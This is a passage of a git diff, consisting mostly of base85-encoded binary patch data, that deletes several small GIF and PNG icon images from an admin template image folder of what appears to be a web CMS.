ZE)DwF+d)|M(Zi!8rzTtW0ps(x{|A7+FF61J literal 13826 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 diff --git a/modules/admin/tpl/img/iconArrow.gif b/modules/admin/tpl/img/iconArrow.gif deleted file mode 100644 index eff3728a4f662807df27cb8a4226998b290fc01e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 849 zcmV-X1Frl>Nk%w1VGsZS0p@=IWwGrybFWyR+heZkMTNn++xA?g;W%}%v(xTQlFql- z^E`RAE}Y#!f4fPG$5WZrV5;V)!{3V5{C~^$ndSew-1lmi#MtZlh}8Q=h{QmW&yn5z zror4-qu;gG@o=r+VVTYB^ZD!Y_-Ulpsm9@EvhG@t!>h>S53>8Q(Cl}%>8r`)JC)Nk znb{$@`|b7n?)Loa@%OLJ>0qhljK%V#zuIA~=}(l;t;^;^k*J zyNT8OjoJGZwfkVK-A|j=P_E>F%<+KF_++l)IkWF>z3FPU@hP6*U8&q1vG!)P<#4>` zNtMxUx$=0!@k^oFX36=N7P|j1vG7fq)li(*V7uyM zuHP`2*N)o#cEa>hsoxQ^`;y-Na=hwqyyrB(`y99XS*74Fm)Cp8_#LF`SESlHsO3t% z@-VvhQn~C>quD;C=3A%XU9#gCwflO;^)|Heb;0qH-u;=Gng9R)A^8LW004ggEC2ui z01yBG0RRX8fPaF6goTEOh>41ejEDsQ1&j(a6f+8n2m(EBeF6xGGB-e1cVAC8GKMP| zMs^IZ3|JW}gb_PbE^B!~W+*5@I}w8x0ma700TzwR%+1cv(9zP<)YaD4*xB0K%@+XQ z;NjmFf;=ixXA2(7Gzl)zMA|9@bCL77EN Rmxrg&%n&nOS8o;uYXCHODK!89 diff --git a/modules/admin/tpl/img/iconSetting.gif b/modules/admin/tpl/img/iconSetting.gif deleted file mode 100644 index d5a2ad29dc39501d178b5eb6ca8eea3128a5c605..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 632 zcmZ?wbhEHb6krfwcoxEN`t<3eM~@yqe*D<6V@Hl0xpL*o!Gi~vEn9Zz(4lMBuB}+H z;?ku{d-m+vvSrKm?c49&yLa~N*~^zN-@bkO$&)9K9zD8y_wLS}J5QcGdG6e~y?gg= z+_>@l`SUk#-rTfl)6=I<^YZd`?b@|(-@e(iXK&rQb=9g>Yu2opGG)rut5**kIIv;E zhR2T|-??+=#EBCN7cN}7bZJLN$LrUxGcz;0yStN;l4@&fOG``r{r!uJi{HL|yLt2G z=g*%{m@wht!-qLJIfaFVRaI4U=FFKlZ(d1B$*EJP8X6k1va#Hh&0s;S9f#Wy!ZjzybQ zMrf%FH-nD-%qAPwU~vTpT@Ge8KDH)7XBJNZ9!DWjE)Na?H8mv`KTdH8J^m(PRTc$i zQCkfWZe{@~ktQuJ4n7TTV`U|FY35*FVG%AiiHIKoOWGDNG4ikoI5>4S3MhMINKAQf zpp${2FGj#X)q#z{M@k|2!-E6esw@IE0!0ao6NQ?sOm;dRCBl9E$NlB|C RA68~Gh)D4$ure`N0{}Oa=iC4Q diff --git a/modules/admin/tpl/img/iconStarRating.gif b/modules/admin/tpl/img/iconStarRating.gif deleted file mode 100644 index 4f901e9059cde84cc4ad9488202667bd6758dd9d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1330 zcmV-21jGQ4-qP+WMe_w6wIbv9b7{f~2IR`LLS!s*(3>KL21N(9qD`-QCE@$mrb$(X#l^+X&(HYy`1!V>(b3VY ztgQa?@6OK7_4W1o!m-B2#>dCUqN1Yz;Lrb~dH0WL`LCJ$%)0za4EU#w|86_~v5NXf z3IC2}{Myj?cTWCgFaL&H|ASSaprGgH=l{N%|Eq}qe@6OfFYD{;|6d~iwwL*MPWN(0 zudlEF{rmrvX#R*%`oF9Ak8AtPz5C9<{Lj9bnVJ9D$p5#Psi~>_)ye$X&HvoX|G}pF z!mj_EcldHf!NI}#h-3e7H20*6`Fc_PTp!id)w8p+|MTqmq=^0O=l6V6{-1pP-P7FM z-2d0a_i{x4=-v2qN&VQ%{A4Nn#kBi_TJG-d|7tbj;^O~H3;+NBA^8LW004ggEC2ui z08aoM000O7fPaF6e;x~jh=_)XjD?4dijRN5z=$6nOC%EpBv5@GAIi+m(9+b_&Ck)( z)r8C4+2GvR-`jsPYb^^4Ehiu#1O^8N2CVGv@bdKb`1G}V7jIs@d->K4>}L>Q!hHn& z9Sq1~L4*SYP-xi55d?`oe=1(g$g$(ckQOm&EUCdGNRcX8wmb=wBukecKtRC2vnNjh zCrk*+xzlG)ph7R{GC`_e2&l=xwQC9yFbHMc+Li0qu!F{yH49d( z*0mY`&blRAR_>q>Gy3S=O9m|=ynFfjy_+|1pT3Cz8%B&sabU)S`i$5>xiSbwk}F%r zJX!OG%ZW0328~FxX3~R3^a)|afr$_yL@-j#+BIz1iD3^@V> zjF7>iPjTbOl{0tF=y>ww&7TjlE;hQ#xs7lvp-dC6p_iLBR@F-0=k%O~9dt6KEvR#vfshS>~B( zuG!|Bagu2!nrgD?CY)mGNoSvT0xIX8b^6&x3^7E(MhysTfrJ=83_(Nzb^!1PqmDu< zDW#TTswtA+dSRB!V4N_dn10O<+;e{Z#=DKUI z1^gQ9uzwV*E3du+D=e|NK8vif(>7b}vC%FohzmDNk%SpcG~kCHIwar*A>fKjuDR%{ z%Wk;imV0ix>kiUxz3}2Yueg0s#%GxD<^ zJCiJQ&O`^D$k0XGOb8tV3=qTv7Wkk*&x1fMHPu#QEr`}rSA8`jU~@foB4vw>wF^%? o&;hYsl<`I)Y`YD&+;q47cC&HMjY!>lbI^C*cJqz*Ab|h?JLP)QIRF3v diff --git a/modules/admin/tpl/img/iconWindow.gif b/modules/admin/tpl/img/iconWindow.gif deleted file mode 100644 index 7c318f8805a2e4da26682f8d8a4477958fdac4c5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 574 zcmZ?wbhEHbpt(EuM2RrDNaUfBzz?H-?q1O=#Wq^Y`yh-+zDm{X4OBcX08_`o>_?@HX zFIc$1!aa&jok!4B)kZQv&N|A7H7ZP#jY&)}(971_D$0&KiX}9R&tHH+o$)C&6;CS@AsD=}Y%QUBpXc6PokDvpY) c9;kCMTi6sNK5l1WHE21KP?UVA!GXaV0O45%*8l(j diff --git a/modules/admin/tpl/img/lineTree.gif b/modules/admin/tpl/img/lineTree.gif deleted file mode 100644 index ad659a6795b0c7818654a9ea27c62de52bd1ff88..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 727 zcmV;|0x11QNk%w1VF>{627mzofPjGi|NkNR1OWg50RSuj000090PqF?0{@JEfXk*0 z!;5TEq_W)5UiU5DH(n)mMrjvfZSsQg+R#Bo2(*!ZMb=y?d5m`Ms*DtStoYPpJO`icsxD$7di8jCxdTf2L!`^yXL z8%#WGyeaC~ioE>U9Qr(J%RKE|4Sg-$OTBH~js2}H%suX14t_3POula3j{dHG>^=`) zFVB9joV_33pZ+giKz*H}4a|p-UP5~d@hN=B5Te6~6en6dC=p{tjsF)5^7H5qBtVe@ zNfOMF%w$83ELCQ7xe;bZlm=zCr1=qNNSz~jmh^ej3DA``iw=ExG-lG7LYuB3y7Z<~ zK}M%?idyw4QmZMkdgWU4t5&68bC%tCwrAR(YlDtu`c`V(tW?F;Z3`9e*12}C>Lttf zFWkF<3ll!<*KlIQT?NZ!9M&=2#grQ>whY#?`j{+_$~`RwVtw+|n`{QCUw_pZS diff --git a/modules/admin/tpl/img/msg.Info.png b/modules/admin/tpl/img/msg.Info.png deleted file mode 100644 index a6f3565c5bf7eb73e7b5546f490cd25f1085c722..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1620 zcmV-a2CMmrP)p5p;c4xP{r9L^?vv=;jbI$pl-^`pjS42?+|7UaQ?}d-9Zg%__ z%G)Tfp(IFEKfjJrMEM!z{EI@3g8d*Oc(hg?zqgn__4UPDbNG1n-9x))5CXjd5d6cw0LN)yV1xDn zIUep$W}exW0@o4X2NJ?C;^D$O^)vDfh-!S_#rPOvM#hL$-|W*+_?1!uA?lj z6alPvie`bj5^{wAp4-(67|`VTU+=IMkmU z|MBXb$z}j1c07?}q%zXBjSq;lQI%WRqf!qghDxh zo#`!gEEoU>d%NNz5x65Jiz;3{LMoB;l5<`eeGHgf^!Jo^mTb7 zn0*i0iRdt{d??|nC8V6G$cO;WcqST&6gp}%GKgUm)1-+!iZp}uAV5DaW3Iq$iCMFB 